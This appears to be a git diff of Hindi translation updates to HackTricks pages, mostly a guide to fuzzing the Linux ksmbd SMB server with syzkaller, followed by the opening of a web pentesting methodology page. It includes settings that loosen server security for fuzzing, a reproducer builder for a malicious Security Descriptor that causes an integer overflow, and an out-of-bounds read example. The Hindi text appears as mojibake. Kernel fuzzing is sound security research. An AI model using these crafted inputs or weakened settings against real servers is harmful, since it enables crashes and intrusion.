-- max connections рдмрдврд╝рд╛рдПрдБ (рдЙрджрд╛., 65536) рддрд╛рдХрд┐ high-throughput fuzzing рдХреЗ рджреМрд░рд╛рди рдкреНрд░рд╛рд░рдВрднрд┐рдХ rejections рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред
+- guest access рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ рдФрд░ map to guest = bad user рд╕реЗрдЯ рдХрд░реЗрдВ рддрд╛рдХрд┐ unknown users GUEST рдкрд░ fallback рдХрд░реЗрдВред
+- NTLMv2 рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ (рдпрджрд┐ disabled рд╣реИ рддреЛ policy patch рдХрд░реЗрдВ)ред рдпрд╣ handshake рдХреЛ рд╕рд░рд▓ рд░рдЦрддрд╛ рд╣реИ рдЬрдмрдХрд┐ SMB3 рдХреЛрдб рдкрд╛рдереНрд╕ рдХреЛ рдПрдХреНрд╕рд░рд╕рд╛рдЗрдЬрд╝ рдХрд░рддрд╛ рд╣реИред
+- experimentation рдХрд░рддреЗ рд╕рдордп strict credit checks рдХреЛ patch рдХрд░ рджреЗрдВ (CVE-2024-50285 рдХреЗ рдмрд╛рдж simultaneous-op crediting рдЬреНрдпрд╛рджрд╛ рд╕рдЦреНрдд рд╣реБрдЖ)ред рдЕрдиреНрдпрдерд╛, rate-limits fuzzed sequences рдХреЛ рдмрд╣реБрдд рдЬрд▓реНрджреА reject рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+- high-throughput fuzzing рдХреЗ рджреМрд░рд╛рди рдЬрд▓реНрджреА rejections рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП max connections рдмрдврд╝рд╛рдПрдБ (рдЙрджрд╛., 65536)ред
-рд╕рд╛рд╡рдзрд╛рдиреА: рдпреЗ рдвреАрд▓ рдХреЗрд╡рд▓ fuzzing рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВред рдЗрди рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде production рдореЗрдВ deploy рди рдХрд░реЗрдВред
+Caution: рдпреЗ рд╢рд┐рдерд┐рд▓рддрд╛рдПрдБ рдХреЗрд╡рд▓ fuzzing рдХреА рд╕реБрд╡рд┐рдзрд╛ рдХреЗ рд▓рд┐рдП рд╣реИрдВред production рдореЗрдВ рдЗрди settings рдХреЗ рд╕рд╛рде рддреИрдирд╛рдд рди рдХрд░реЗрдВред
---
-## Stateful Harness: Resources рдирд┐рдХрд╛рд▓рдирд╛ рдФрд░ Requests рдХреЛ Chain рдХрд░рдирд╛
-SMB stateful рд╣реИ: рдХрдИ requests рдЙрди identifiers рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ prior responses рд╕реЗ рд▓реМрдЯрддреЗ рд╣реИрдВ (SessionId, TreeID, FileID pairs)ред рдЖрдкрдХрд╛ harness responses рдХреЛ parse рдХрд░реЗ рдФрд░ рдЙрд╕реА рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рднреАрддрд░ IDs рдХреЛ reuse рдХрд░реЗ рддрд╛рдХрд┐ рдЧрд╣рд░реЗ handlers рддрдХ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХреЗ (рдЙрджрд╛., smb2_create тЖТ smb2_ioctl тЖТ smb2_close)ред
+## Stateful Harness: Extract Resources and Chain Requests
+SMB stateful рд╣реИ: рдХрдИ requests prior responses рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдП рдЧрдП identifiers рдкрд░ рдирд┐рд░реНрднрд░ рд╣реЛрддреЗ рд╣реИрдВ (SessionId, TreeID, FileID pairs)ред рдЖрдкрдХрд╛ harness responses рдХреЛ parse рдХрд░рдХреЗ рдЙрдиреНрд╣реАрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рднреАрддрд░ IDs рдХреЛ reuse рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдЧрд╣рд░реЗ handlers рддрдХ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХреЗ (рдЙрджрд╛., smb2_create тЖТ smb2_ioctl тЖТ smb2_close)ред
-рдПрдХ рдЙрджрд╛рд╣рд░рдг snippet рдЬреЛ response buffer рдХреЛ process рдХрд░рддрд╛ рд╣реИ (+4B NetBIOS PDU length рдЫреЛрдбрд╝рддреЗ рд╣реБрдП) рдФрд░ IDs рдХреЛ cache рдХрд░рддрд╛ рд╣реИ:
+Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
@@ -76,15 +76,15 @@ break;
}
```
рдЯрд┐рдкреНрд╕
-- рдПрдХ рд╣реА fuzzer process рд░рдЦреЗрдВ рдЬреЛ authentication/state рд╕рд╛рдЭрд╛ рдХрд░реЗ: ksmbd рдХреА global/session tables рдХреЗ рд╕рд╛рде рдмреЗрд╣рддрд░ рд╕реНрдерд┐рд░рддрд╛ рдФрд░ рдХрд╡рд░реЗрдЬ рдорд┐рд▓рддрд╛ рд╣реИред syzkaller рдлрд┐рд░ рднреА ops рдХреЛ async рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рд░реНрдХ рдХрд░рдХреЗ concurrency рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ, рдФрд░ internally rerun рдХрд░рддрд╛ рд╣реИред
-- Syzkaller рдХреЗ experimental reset_acc_state global state рдХреЛ reset рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рднрд╛рд░реА slowdown рд▓рд╛ рд╕рдХрддрд╛ рд╣реИред рд╕реНрдерд┐рд░рддрд╛ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ рдФрд░ fuzzing рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВред
+- Keep one fuzzer process sharing authentication/state: better stability and coverage with ksmbdтАЩs global/session tables. syzkaller still injects concurrency by marking ops async, rerun internally.
+- SyzkallerтАЩs experimental reset_acc_state can reset global state but may introduce heavy slowdown. Prefer stability and focus fuzzing instead.
---
-## рд╡реНрдпрд╛рдХрд░рдг-рдЪрд╛рд▓рд┐рдд SMB2 Generation (Valid PDUs)
-Microsoft Open Specifications рдореЗрдВ рджрд┐рдП рдЧрдП SMB2 рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреЛ рдПрдХ fuzzer grammar рдореЗрдВ рдЕрдиреБрд╡рд╛рджрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдкрдХрд╛ generator рд╕рдВрд░рдЪрдирд╛рддреНрдордХ рд░реВрдк рд╕реЗ valid PDUs рдмрдирд╛рдП, рдЬреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдврдВрдЧ рд╕реЗ dispatchers рдФрд░ IOCTL handlers рддрдХ рдкрд╣реБрдБрдЪреЗрдВред
+## рд╡реНрдпрд╛рдХрд░рдг-рдЖрдзрд╛рд░рд┐рдд SMB2 рдЬрдирд░реЗрд╢рди (Valid PDUs)
+Microsoft Open Specifications SMB2 structures рдХреЛ рдПрдХ fuzzer grammar рдореЗрдВ рдЕрдиреБрд╡рд╛рджрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдкрдХрд╛ generator рд╕рдВрд░рдЪрдирд╛рддреНрдордХ рд░реВрдк рд╕реЗ valid PDUs рдЙрддреНрдкрдиреНрди рдХрд░реЗ, рдЬреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд░реВрдк рд╕реЗ dispatchers рдФрд░ IOCTL handlers рддрдХ рдкрд╣реБрдБрдЪреЗрдВред
-Example (SMB2 IOCTL request):
+рдЙрджрд╛рд╣рд░рдг (SMB2 IOCTL request):
```
smb2_ioctl_req {
Header_Prefix SMB2Header_Prefix
@@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
-рдпрд╣ рддрд░реАрдХрд╛ рд╕рд╣реА structure sizes/offsets рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ blind mutation рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдХрд╡рд░реЗрдЬ рдХреЛ рдирд╛рдЯрдХреАрдп рд░реВрдк рд╕реЗ рд╕реБрдзрд╛рд░рддрд╛ рд╣реИред
+рдпрд╣ рд╢реИрд▓реА correct structure sizes/offsets рдХреЛ рдордЬрдмреВрд░ рдХрд░рддреА рд╣реИ рдФрд░ blind mutation рдХреА рддреБрд▓рдирд╛ рдореЗрдВ coverage рдХреЛ рдирд╛рдЯрдХреАрдп рд░реВрдк рд╕реЗ рдмреЗрд╣рддрд░ рдмрдирд╛рддреА рд╣реИред
---
-## Directed Fuzzing With focus_areas
-рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЬрд┐рди рд╡рд┐рд╢рд┐рд╖реНрдЯ functions/files рдХрд╛ рдХрд╡рд░реЗрдЬ рдХрдордЬреЛрд░ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рдЕрдзрд┐рдХ рд╡рдЬрд╝рди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП syzkallerтАЩs рдХреЗ experimental focus_areas рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг JSON:
+## Directed Fuzzing рдХреЗ рд╕рд╛рде focus_areas
+syzkaller рдХреЗ experimental focus_areas рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди specific functions/files рдХреЛ overweight рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ рдЬрд┐рдирдХреА рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдХрдордЬреЛрд░ coverage рд╣реИред рдЙрджрд╛рд╣рд░рдг JSON:
```json
{
"focus_areas": [
@@ -122,8 +122,7 @@ Output array[int8]
]
}
```
-рдпрд╣ рд╡реИрдз ACLs рдмрдирд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ рдЬреЛ smbacl.c рдореЗрдВ arithmetic/overflow paths рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред
-рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг Security Descriptor рдЬрд┐рд╕рдореЗрдВ рдЕрддреНрдпрдзрд┐рдХ рдмрдбрд╝рд╛ dacloffset рд╣реИ, рд╡рд╣ рдПрдХ integer-overflow рдХреЛ рдкреБрдирд░реБрддреНрдкрдиреНрди рдХрд░ рджреЗрддрд╛ рд╣реИред
+рдпрд╣ valid ACLs рдмрдирд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ рдЬреЛ smbacl.c рдореЗрдВ arithmetic/overflow paths рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ malicious Security Descriptor рдЬрд┐рд╕рдореЗрдВ oversized dacloffset рд╣реЛ, рд╡рд╣ integer-overflow рдХреЛ reproduce рдХрд░рддрд╛ рд╣реИред
рд░рд┐рдкреНрд░реЛрдбреНрдпреВрд╕рд░ рдмрд┐рд▓реНрдбрд░ (minimal Python):
```python
@@ -144,8 +143,8 @@ return bytes(sd)
```
---
-## ANYBLOB рдХреЗ рд╕рд╛рде рдХрд╡рд░реЗрдЬ рдкреНрд▓реЗрдЯреЛ рддреЛрдбрд╝рдирд╛
-syzkallerтАЩs anyTypes (ANYBLOB/ANYRES) рдЬрдЯрд┐рд▓ рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреЛ рдРрд╕реЗ рдмреНрд▓реЙрдмреНрд╕ рдореЗрдВ рд╕рдВрдХреБрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред public SMB pcaps рд╕реЗ рдирдпрд╛ corpus рддреИрдпрд╛рд░ рдХрд░реЗрдВ рдФрд░ payloads рдХреЛ syzkaller programs рдореЗрдВ рдмрджрд▓реЗрдВ рдЬреЛ рдЖрдкрдХреЗ pseudo-syscall (рдЙрджрд╛., syz_ksmbd_send_req) рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реЛрдВ:
+## ANYBLOB рдХреЗ рд╕рд╛рде рдХрд╡рд░реЗрдЬ рдХреА рд╕реАрдорд╛рдПрдБ рддреЛрдбрд╝рдирд╛
+syzkallerтАЩs anyTypes (ANYBLOB/ANYRES) рдЬрдЯрд┐рд▓ рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреЛ blobs рдореЗрдВ рд╕рдореЗрдЯрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ рдЬреЗрдирд░рд┐рдХ рд░реВрдк рд╕реЗ рдмрджрд▓рддреА рд╣реИрдВред рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ SMB pcaps рд╕реЗ рдПрдХ рдирдпрд╛ corpus рддреИрдпрд╛рд░ рдХрд░реЗрдВ рдФрд░ payloads рдХреЛ syzkaller programs рдореЗрдВ рдмрджрд▓реЗрдВ рдЬреЛ рдЖрдкрдХреЗ pseudo-syscall (e.g., syz_ksmbd_send_req) рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ:
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@@ -168,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
-рдпрд╣ рдЕрдиреНрд╡реЗрд╖рдг рдХреЛ рддреБрд░рдВрдд рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ рдФрд░ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП ksmbd_sessions_deregister рдореЗрдВ) рддреБрд░рдВрдд UAFs рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рдХрд╡рд░реЗрдЬ рдХреЛ рдХреБрдЫ рдкреНрд░рддрд┐рд╢рдд рдмрдврд╝рд╛ рджреЗрддрд╛ рд╣реИред
+рдпрд╣ рдЦреЛрдЬ рдХреЛ рддреБрд░рдВрдд рдЖрд░рдВрдн рдХрд░ рджреЗрддрд╛ рд╣реИ рдФрд░ рдХреБрдЫ рдкреНрд░рддрд┐рд╢рдд рдХрд╡рд░рд┐рдЬ рдмрдврд╝рд╛рддреЗ рд╣реБрдП рддреБрд░рдВрдд UAFs (рдЙрджрд╛., ksmbd_sessions_deregister рдореЗрдВ) рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
---
-## Sanitizers: KASAN рдХреЗ рдкрд░реЗ
-- KASAN heap рдмрдЧреНрд╕ (UAF/OOB) рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рдердорд┐рдХ рдбрд┐рдЯреЗрдХреНрдЯрд░ рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИред
-- KCSAN рдЕрдХреНрд╕рд░ рдЗрд╕ рдЯрд╛рд░реНрдЧреЗрдЯ рдореЗрдВ false positives рдпрд╛ рдХрдо-рдЧрдВрднреАрд░рддрд╛ рд╡рд╛рд▓реЗ data races рджреЗрддрд╛ рд╣реИред
-- UBSAN/KUBSAN declared-bounds рдЧрд▓рддрд┐рдпреЛрдВ рдХреЛ рдкрдХрдбрд╝ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ KASAN array-index semantics рдХреЗ рдХрд╛рд░рдг рдорд┐рд╕ рдХрд░ рджреЗрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг:
+## Sanitizers: KASAN рд╕реЗ рдЖрдЧреЗ
+- KASAN heap bugs (UAF/OOB) рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рдердорд┐рдХ рдбрд┐рдЯреЗрдХреНрдЯрд░ рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИред
+- KCSAN рдЕрдХреНрд╕рд░ рдЗрд╕ target рдореЗрдВ false positives рдпрд╛ low-severity data races рджреЗрддрд╛ рд╣реИред
+- UBSAN/KUBSAN рдЙрди declared-bounds рдЧрд▓рддрд┐рдпреЛрдВ рдХреЛ рдкрдХрдбрд╝ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ array-index semantics рдХреЗ рдХрд╛рд░рдг KASAN рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
@@ -183,28 +182,28 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
-Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSANтАЩs declared-bounds checks.
+Setting num_subauth = 0 рд╕реЗрдЯ рдХрд░рдиреЗ рд╕реЗ struct рдХреЗ рдЕрдВрджрд░ sub_auth[-1] рдХрд╛ OOB read рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ UBSANтАЩs declared-bounds checks рдиреЗ рдкрдХрдбрд╝рд╛ред
---
-## Throughput and Parallelism Notes
-- рдПрдХ рдЕрдХреЗрд▓рд╛ fuzzer process (shared auth/state) рдЖрдорддреМрд░ рдкрд░ ksmbd рдХреЗ рд▓рд┐рдП рдХрд╛рдлреА рдЕрдзрд┐рдХ рд╕реНрдерд┐рд░ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рднреА races/UAFs рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдзрдиреНрдпрд╡рд╛рдж syzkallerтАЩs internal async executorред
-- рдХрдИ VMs рдХреЗ рд╕рд╛рде, рдЖрдк рдХреБрд▓ рдорд┐рд▓рд╛рдХрд░ рдЕрднреА рднреА рд╕реИрдХрдбрд╝реЛрдВ SMB commands/second рдорд╛рд░ рд╕рдХрддреЗ рд╣реИрдВред Function-level coverage рд▓рдЧрднрдЧ ~60% fs/smb/server рдФрд░ ~70% smb2pdu.c рддрдХ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ state-transition coverage рдРрд╕реЗ рдореЗрдЯреНрд░рд┐рдХреНрд╕ рд╕реЗ рдХрдо рджрд┐рдЦрддреА рд╣реИред
+## рдереНрд░реВрдкреБрдЯ рдФрд░ рд╕рдорд╛рдирд╛рдВрддрд░рддрд╛ рдиреЛрдЯреНрд╕
+- рдПрдХ single fuzzer process (shared auth/state) рдЖрдо рддреМрд░ рдкрд░ ksmbd рдХреЗ рд▓рд┐рдП рдХрд╛рдлреА рдЕрдзрд┐рдХ рд╕реНрдерд┐рд░ рд╣реЛрддрд╛ рд╣реИ рдФрд░ syzkaller рдХреЗ internal async executor рдХреА рд╡рдЬрд╣ рд╕реЗ рдлрд┐рд░ рднреА races/UAFs рдЙрднрд░рддреЗ рд╣реИрдВред
+- multiple VMs рдХреЗ рд╕рд╛рде, рдХреБрд▓ рдорд┐рд▓рд╛рдХрд░ рдЖрдк рдЕрднреА рднреА рд╕реИрдХрдбрд╝реЛрдВ SMB commands/second рдорд╛рд░ рд╕рдХрддреЗ рд╣реИрдВред Function-level coverage рд▓рдЧрднрдЧ ~60% of fs/smb/server рдФрд░ ~70% of smb2pdu.c рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдпреЛрдЧреНрдп рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ state-transition coverage рдРрд╕реЗ metrics рджреНрд╡рд╛рд░рд╛ рдХрдо рджрд┐рдЦрддреА рд╣реИред
---
-## Practical Checklist
+## рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдЪреЗрдХрд▓рд┐рд╕реНрдЯ
- ksmbd рдореЗрдВ durable handles, leases, multi-channel, oplocks, рдФрд░ VFS objects рд╕рдХреНрд╖рдо рдХрд░реЗрдВред
-- guest рдФрд░ map-to-guest рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ; NTLMv2 рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВред fuzzer рд╕реНрдерд┐рд░рддрд╛ рдХреЗ рд▓рд┐рдП credit limits рдХреЛ рд╣рдЯрд╛рдПрдБ рдФрд░ max connections рдмрдврд╝рд╛рдПрдБред
-- рдПрдХ stateful harness рдмрдирд╛рдЗрдП рдЬреЛ SessionId/TreeID/FileIDs рдХреЛ cache рдХрд░реЗ рдФрд░ create тЖТ ioctl тЖТ close рдХреЛ chain рдХрд░реЗред
-- рд╕реНрдЯреНрд░рдХреНрдЪрд░рд▓ рд╡реИрдзрддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП SMB2 PDUs рдХреЗ рд▓рд┐рдП grammar рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
-- рдХрдо рдЖрд╡реГрддреНрддрд┐ рд╕реЗ рдХрд╡рд░ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рдиреНрд╕ рдкрд░ рд╡рдЬрди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП focus_areas рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдЙрджрд╛., smbacl.c paths рдЬреИрд╕реЗ smb_check_perm_dacl)ред
-- plateaus рддреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрд╕рд▓реА pcaps рд╕реЗ ANYBLOB рд╕реЗ seed рдХрд░реЗрдВ; reuse рдХреЗ рд▓рд┐рдП seeds рдХреЛ syz-db рдХреЗ рд╕рд╛рде pack рдХрд░реЗрдВред
-- KASAN + UBSAN рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдПрдБ; UBSAN declared-bounds рд░рд┐рдкреЛрд░реНрдЯреНрд╕ рдХреЛ рд╕рд╛рд╡рдзрд╛рдиреА рд╕реЗ triage рдХрд░реЗрдВред
+- guest рдФрд░ map-to-guest рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ; NTLMv2 рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВред fuzzer рд╕реНрдерд┐рд░рддрд╛ рдХреЗ рд▓рд┐рдП credit limits рд╣рдЯрд╛рдПрдБ рдФрд░ max connections рдмрдврд╝рд╛рдПрдБред
+- рдПрдХ stateful harness рдмрдирд╛рдПрдВ рдЬреЛ SessionId/TreeID/FileIDs рдХреЛ cache рдХрд░реЗ рдФрд░ create тЖТ ioctl тЖТ close рдХреЛ chain рдХрд░реЗред
+- structural validity рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП SMB2 PDUs рдХреЗ рд▓рд┐рдП рдПрдХ grammar рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
+- рдХрдордЬреЛрд░ рдХрд╡рд░реЗрдЬ рд╡рд╛рд▓реЗ functions рдкрд░ рдЕрдзрд┐рдХ рд╡рдЬрди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП focus_areas рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (e.g., smbacl.c paths like smb_check_perm_dacl)ред
+- plateaus рддреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП real pcaps рд╕реЗ ANYBLOB рдХреЗ рд╕рд╛рде seed рдХрд░реЗрдВ; reuse рдХреЗ рд▓рд┐рдП seeds рдХреЛ syz-db рд╕реЗ pack рдХрд░реЗрдВред
+- KASAN + UBSAN рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдПрдБ; UBSAN declared-bounds reports рдХреЛ рд╕рд╛рд╡рдзрд╛рдиреА рд╕реЗ triage рдХрд░реЗрдВред
---
-## References
+## рд╕рдВрджрд░реНрдн
- Doyensec тАУ ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
- syzkaller: https://github.com/google/syzkaller
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
@@ -215,6 +214,6 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
-- рдкреГрд╖реНрдарднреВрдорд┐ рдкрдврд╝рдирд╛: pwning.tech тАЬTickling ksmbd: fuzzing SMB in the Linux kernelтАЭ; Dongliang MuтАЩs syzkaller notes
+- рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рд░реАрдбрд┐рдВрдЧ: pwning.tech тАЬTickling ksmbd: fuzzing SMB in the Linux kernelтАЭ; Dongliang MuтАЩs syzkaller notes
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index a15b0b17d..53e8ad1b2 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -1,10 +1,10 @@
-# 80,443 - Pentesting рд╡реЗрдм рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА
+# 80,443 - Pentesting Web Methodology
{{#include ../../banners/hacktricks-training.md}}
## рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА
-рд╡реЗрдм рд╕рд░реНрд╡рд┐рд╕ рд╕рдмрд╕реЗ **рдЖрдо рдФрд░ рд╡реНрдпрд╛рдкрдХ рд╕реЗрд╡рд╛** рд╣реИ рдФрд░ рдмрд╣реБрдд рд╕рд╛рд░реЗ **different types of vulnerabilities** рдореМрдЬреВрдж рд╣реИрдВред
+рд╡реЗрдм рд╕реЗрд╡рд╛ рд╕рдмрд╕реЗ **рд╕рд╛рдорд╛рдиреНрдп рдФрд░ рд╡реНрдпрд╛рдкрдХ рд╕реЗрд╡рд╛** рд╣реИ рдФрд░ рдХрдИ рддрд░рд╣ рдХреА **vulnerabilities** рдореМрдЬреВрдж рд╣реИрдВред
**рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ:** 80 (HTTP), 443(HTTPS)
```bash
@@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
web-api-pentesting.md
{{#endref}}
-## рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА рд╕рд╛рд░рд╛рдВрд╢
+## рдкрджреНрдзрддрд┐ рд╕рд╛рд░рд╛рдВрд╢
-> рдЗрд╕ рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рд╣рдо рдпрд╣ рдорд╛рдиреЗрдВрдЧреЗ рдХрд┐ рдЖрдк рдХрд┐рд╕реА рдПрдХ domain (рдпрд╛ subdomain) рдкрд░ рд╣реА рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдФрд░ рд╕рд┐рд░реНрдлрд╝ рд╡рд╣реАред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ рдЗрд╕ рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА рдХреЛ рд╕реНрдХреЛрдк рдореЗрдВ рдкрд╛рдП рдЧрдП рдкреНрд░рддреНрдпреЗрдХ domain, subdomain рдпрд╛ рдЕрдирд┐рд░реНрдзрд╛рд░рд┐рдд рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╡рд╛рд▓реЗ IP рдкрд░ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред
